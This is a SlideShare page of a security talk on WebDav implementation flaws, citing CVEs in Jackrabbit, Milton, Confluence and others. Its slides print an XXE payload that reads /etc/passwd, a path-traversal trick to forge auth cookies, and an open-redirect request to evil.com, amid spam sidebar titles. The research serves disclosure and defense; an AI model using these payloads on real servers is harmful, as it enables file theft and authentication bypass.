SlideShare a Scribd company logo
1 of 18
Download to read offline
What should a hacker know about WebDav?
Vulnerabilities in various WebDav implementations
Mikhail Egorov
Short BIO – Mikhail Egorov
▶ Application Security Engineer at Odin [ http://www.odin.com ]
▶ Security researcher and bug hunter
▶ Graduated from BMSTU with MSc. in Information Security [ IU8 ]
▶ Holds OSCP and CISSP certificates
▶ See my blog [ http://0ang3el.blogspot.com ]
WebDav is complex
▶ Many standards that prescribes how to implement various WebDav methods
RFC 4918, RFC 3253, RFC 3648, RFC 3744, RFC 5323, RFC 4437, RFC 5842
▶ Many WebDav methods
OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE, COPY, MOVE, PROPPATCH,
PROPFIND, MKCOL, LOCK, UNLOCK, SEARCH, BIND, UNBIND, REBIND,
MKREDIRECTREF, UPDATEREDIRECTREF, ORDERPATCH, ACL, REPORT
▶ Different Webdav implementations
Generic approach
▶ Try various XXE attacks
▶ Issue OPTIONS requests and see what “interesting” methods are supported by
WebDav library
▶ Try attack that follows from security considerations section of RFCs and
“common sense” for all “interesting” methods
▶ Observe source code, if available, to find various implementation flaws
WebDav XXE attacks
▶ Methods PROPPATCH, PROPFIND, LOCK, etc. accept XML as input
▶ Especially Java implementations are vulnerable 
Apache Jacrabbit WebDav XXE
▶ CVE-2015-1833 [ http://www.securityfocus.com/archive/1/535582 ]
▶ Exploit code [ https://www.exploit-db.com/exploits/37110/ ]
▶ Video PoC [ https://www.youtube.com/watch?v=Hg3AXoG89Gs ]
Milton WebDav XXE
▶ CVE-2015-7326 [ http://www.securityfocus.com/archive/1/536813 ]
cloudme.com XXE
▶ CloudMe is a secure European service that makes your life a little bit easier.
With CloudMe you don’t have to think twice about where your files are, they’re
always with you …
▶ https://webdav.cloudme.com is vulnerable WebDav endpoint
Apache Sling OOXML parsing XXE
▶ Apache Tika OSGi bundle to parse documents
▶ Apache POI is used to parse OOXML documents
▶ Apache POI library XXE [ https://access.redhat.com/security/cve/CVE-2014-3529 ]
Apache Jackrabbit WebDav CSRF
▶ JCR-3909 [ https://issues.apache.org/jira/browse/JCR-3909 ]
▶ POST request is allowed and treated as PUT
▶ There is Refer-based CSRF protection, but empty Referer bypasses it
▶ Could be used to mount XXE attack for systems in the internal network!
Exploiting WebDav XXE tricks
▶ Create resource
PUT /resource HTTP/1.1
Hack
▶ Write content of the file to a property of the resource with PROPPATCH
method
PROPPATCH /resource HTTP/1.1
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE propertyupdate [
<!ENTITY loot SYSTEM “file:///etc/passwd”> ]>
<D:propertyupdate xmlns:D=“DAV:”><D:set><D:prop>
<a xmlns=“http://this.is.xxe.baby”>&loot;</a>
</D:prop></D:set></D:propertyupdate>
Exploiting WebDav XXE tricks
▶ Read property with content of the file with PROPFIND method
PROPFIND /resource HTTP/1.1
<?xml version=“1.0” encoding=“UTF-8”?>
<propfind xmlns=“DAV:”><prop>
<q:a xmlns:q=“http://this.is.xxe.baby”/>
</prop></propfind>
Exploiting WebDav XXE tricks
▶ OOB XXE will work with any method that supports XML input
• When general external entities are prohibited
▶ SSRF attack will work with any method that supports XML input
• When only external DTDs are allowed
Milton WebDav AUTHN bypass
▶ Cookie AUTHN [ preferred method in Windows, from Win7 ]
• miltonUserUrl=/users/admin/;Path=/;Expires=Thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000
• miltonUserUrlHash=0.884150694443924:9c74dc9fb62c2926c911ce07b5e7dcb2;Path=/;Expires=Thu, 06-Mar-2014
20:55:23 GMT;Max-Age=31536000;HttpOnly
▶ Cookie is signed using HMAC-SHA1
• key is in keys.txt file stored in java.io.tmpdir directory
▶ Path traversal in Destination header of MOVE and COPY requests
• http://127.0.0.1:8080/../../../../../../../../../../_DAV/HACK/tmp
• We can overwrite keys.txt file 
• After app server restart we can craft valid cookies 
Confluence WebDav DoS attack
▶ Based on Apache Jackrabbit WebDav code
▶ Supports Depth: infinity header in PROPFIND request
▶ Allows DOCTYPE declaration
Billion Laughs like attack, but with limited number [ 64000 ] of entity expansions, is possible
▶ Xerces-J library vulnerable to CVE-2013-4002 have been used
https://jira.atlassian.com/browse/CONF-37991
Yandex.Disk invalidated redirect
▶ WebDav access to Yandex.Disk – http://webdav.yandex.ru
▶ Supports MKREDIRECTREF request
▶ It is possible to create resource that will redirect the victim from Yandex.Disk to
arbitrary site
MKREDIRECTREF /good.txt HTTP/1.1
Host: webdav.yandex.ru
<?xml version="1.0" encoding="utf-8" ?>
<D:mkredirectref xmlns:D="DAV:">
<D:reftarget>
<D:href>http://evil.com</D:href>
</D:reftarget>
</D:mkredirectref>
Takeaways
▶ WebDav is a complex protocol, it extends attack surface of your system
▶ WebDav-related RFCs have security considerations parts, unfortunately, many
WebDav implementations ignore security considerations
▶ WebDav libraries in Java suffers from XXE issues, because most XML parsers in
Java are insecure in default configuration
Questions?
? ? ?

More Related Content

What's hot

XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5
Shreeraj Shah
 

What's hot (20)

A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
New methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applicationsNew methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applications
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 

Similar to What should a hacker know about WebDav?

Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
amiable_indian
 

Similar to What should a hacker know about WebDav? (20)

FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Hta t07-did-you-read-the-news-http-request-hijacking
Hta t07-did-you-read-the-news-http-request-hijackingHta t07-did-you-read-the-news-http-request-hijacking
Hta t07-did-you-read-the-news-http-request-hijacking
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptxThe Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
 
SPDY - http reloaded - WebTechConference 2012
SPDY - http reloaded - WebTechConference 2012SPDY - http reloaded - WebTechConference 2012
SPDY - http reloaded - WebTechConference 2012
 
Hack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security TrainingHack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security Training
 
Malware Analysis For The Enterprise
Malware Analysis For The EnterpriseMalware Analysis For The Enterprise
Malware Analysis For The Enterprise
 
Secure your web app presentation
Secure your web app presentationSecure your web app presentation
Secure your web app presentation
 
The SPDY Protocol
The SPDY ProtocolThe SPDY Protocol
The SPDY Protocol
 
Threat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my HoneypotsThreat Con 2021: What's Hitting my Honeypots
Threat Con 2021: What's Hitting my Honeypots
 
Cloud Device Insecurity
Cloud Device InsecurityCloud Device Insecurity
Cloud Device Insecurity
 
Bsides final
Bsides finalBsides final
Bsides final
 
20190516 web security-basic
20190516 web security-basic20190516 web security-basic
20190516 web security-basic
 
CodeIgniter i18n Security Flaw
CodeIgniter i18n Security FlawCodeIgniter i18n Security Flaw
CodeIgniter i18n Security Flaw
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
 
IBCAST 2021: Observations and lessons learned from the APNIC Community Honeyn...
IBCAST 2021: Observations and lessons learned from the APNIC Community Honeyn...IBCAST 2021: Observations and lessons learned from the APNIC Community Honeyn...
IBCAST 2021: Observations and lessons learned from the APNIC Community Honeyn...
 
OSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ InfosectrainOSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ Infosectrain
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must Know
 
Building APIs with NodeJS on Microsoft Azure Websites - Redmond
Building APIs with NodeJS on Microsoft Azure Websites - RedmondBuilding APIs with NodeJS on Microsoft Azure Websites - Redmond
Building APIs with NodeJS on Microsoft Azure Websites - Redmond
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 

Recently uploaded

%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
masabamasaba
 
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
masabamasaba
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
masabamasaba
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
VictoriaMetrics
 
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
Medical / Health Care (+971588192166) Mifepristone and Misoprostol tablets 200mg
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is inside
shinachiaurasa2
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
masabamasaba
 

Recently uploaded (20)

%in Soweto+277-882-255-28 abortion pills for sale in soweto
%in Soweto+277-882-255-28 abortion pills for sale in soweto%in Soweto+277-882-255-28 abortion pills for sale in soweto
%in Soweto+277-882-255-28 abortion pills for sale in soweto
 
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
%+27788225528 love spells in new york Psychic Readings, Attraction spells,Bri...
 
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
 
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
%+27788225528 love spells in Huntington Beach Psychic Readings, Attraction sp...
 
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
 
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
MarTech Trend 2024 Book : Marketing Technology Trends (2024 Edition) How Data...
 
8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students
 
%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare
 
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdfPayment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
Large-scale Logging Made Easy: Meetup at Deutsche Bank 2024
 
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
Abortion Pill Prices Tembisa [(+27832195400*)] 🏥 Women's Abortion Clinic in T...
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is inside
 
Architecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the pastArchitecture decision records - How not to get lost in the past
Architecture decision records - How not to get lost in the past
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
 
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
 

What should a hacker know about WebDav?

  • 1. What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations Mikhail Egorov
  • 2. Short BIO – Mikhail Egorov ▶ Application Security Engineer at Odin [ http://www.odin.com ] ▶ Security researcher and bug hunter ▶ Graduated from BMSTU with MSc. in Information Security [ IU8 ] ▶ Holds OSCP and CISSP certificates ▶ See my blog [ http://0ang3el.blogspot.com ]
  • 3. WebDav is complex ▶ Many standards that prescribes how to implement various WebDav methods RFC 4918, RFC 3253, RFC 3648, RFC 3744, RFC 5323, RFC 4437, RFC 5842 ▶ Many WebDav methods OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE, COPY, MOVE, PROPPATCH, PROPFIND, MKCOL, LOCK, UNLOCK, SEARCH, BIND, UNBIND, REBIND, MKREDIRECTREF, UPDATEREDIRECTREF, ORDERPATCH, ACL, REPORT ▶ Different Webdav implementations
  • 4. Generic approach ▶ Try various XXE attacks ▶ Issue OPTIONS requests and see what “interesting” methods are supported by WebDav library ▶ Try attack that follows from security considerations section of RFCs and “common sense” for all “interesting” methods ▶ Observe source code, if available, to find various implementation flaws
  • 5. WebDav XXE attacks ▶ Methods PROPPATCH, PROPFIND, LOCK, etc. accept XML as input ▶ Especially Java implementations are vulnerable 
  • 6. Apache Jacrabbit WebDav XXE ▶ CVE-2015-1833 [ http://www.securityfocus.com/archive/1/535582 ] ▶ Exploit code [ https://www.exploit-db.com/exploits/37110/ ] ▶ Video PoC [ https://www.youtube.com/watch?v=Hg3AXoG89Gs ]
  • 7. Milton WebDav XXE ▶ CVE-2015-7326 [ http://www.securityfocus.com/archive/1/536813 ]
  • 8. cloudme.com XXE ▶ CloudMe is a secure European service that makes your life a little bit easier. With CloudMe you don’t have to think twice about where your files are, they’re always with you … ▶ https://webdav.cloudme.com is vulnerable WebDav endpoint
  • 9. Apache Sling OOXML parsing XXE ▶ Apache Tika OSGi bundle to parse documents ▶ Apache POI is used to parse OOXML documents ▶ Apache POI library XXE [ https://access.redhat.com/security/cve/CVE-2014-3529 ]
  • 10. Apache Jackrabbit WebDav CSRF ▶ JCR-3909 [ https://issues.apache.org/jira/browse/JCR-3909 ] ▶ POST request is allowed and treated as PUT ▶ There is Refer-based CSRF protection, but empty Referer bypasses it ▶ Could be used to mount XXE attack for systems in the internal network!
  • 11. Exploiting WebDav XXE tricks ▶ Create resource PUT /resource HTTP/1.1 Hack ▶ Write content of the file to a property of the resource with PROPPATCH method PROPPATCH /resource HTTP/1.1 <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM “file:///etc/passwd”> ]> <D:propertyupdate xmlns:D=“DAV:”><D:set><D:prop> <a xmlns=“http://this.is.xxe.baby”>&loot;</a> </D:prop></D:set></D:propertyupdate>
  • 12. Exploiting WebDav XXE tricks ▶ Read property with content of the file with PROPFIND method PROPFIND /resource HTTP/1.1 <?xml version=“1.0” encoding=“UTF-8”?> <propfind xmlns=“DAV:”><prop> <q:a xmlns:q=“http://this.is.xxe.baby”/> </prop></propfind>
  • 13. Exploiting WebDav XXE tricks ▶ OOB XXE will work with any method that supports XML input • When general external entities are prohibited ▶ SSRF attack will work with any method that supports XML input • When only external DTDs are allowed
  • 14. Milton WebDav AUTHN bypass ▶ Cookie AUTHN [ preferred method in Windows, from Win7 ] • miltonUserUrl=/users/admin/;Path=/;Expires=Thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000 • miltonUserUrlHash=0.884150694443924:9c74dc9fb62c2926c911ce07b5e7dcb2;Path=/;Expires=Thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000;HttpOnly ▶ Cookie is signed using HMAC-SHA1 • key is in keys.txt file stored in java.io.tmpdir directory ▶ Path traversal in Destination header of MOVE and COPY requests • http://127.0.0.1:8080/../../../../../../../../../../_DAV/HACK/tmp • We can overwrite keys.txt file  • After app server restart we can craft valid cookies 
  • 15. Confluence WebDav DoS attack ▶ Based on Apache Jackrabbit WebDav code ▶ Supports Depth: infinity header in PROPFIND request ▶ Allows DOCTYPE declaration Billion Laughs like attack, but with limited number [ 64000 ] of entity expansions, is possible ▶ Xerces-J library vulnerable to CVE-2013-4002 have been used https://jira.atlassian.com/browse/CONF-37991
  • 16. Yandex.Disk invalidated redirect ▶ WebDav access to Yandex.Disk – http://webdav.yandex.ru ▶ Supports MKREDIRECTREF request ▶ It is possible to create resource that will redirect the victim from Yandex.Disk to arbitrary site MKREDIRECTREF /good.txt HTTP/1.1 Host: webdav.yandex.ru <?xml version="1.0" encoding="utf-8" ?> <D:mkredirectref xmlns:D="DAV:"> <D:reftarget> <D:href>http://evil.com</D:href> </D:reftarget> </D:mkredirectref>
  • 17. Takeaways ▶ WebDav is a complex protocol, it extends attack surface of your system ▶ WebDav-related RFCs have security considerations parts, unfortunately, many WebDav implementations ignore security considerations ▶ WebDav libraries in Java suffers from XXE issues, because most XML parsers in Java are insecure in default configuration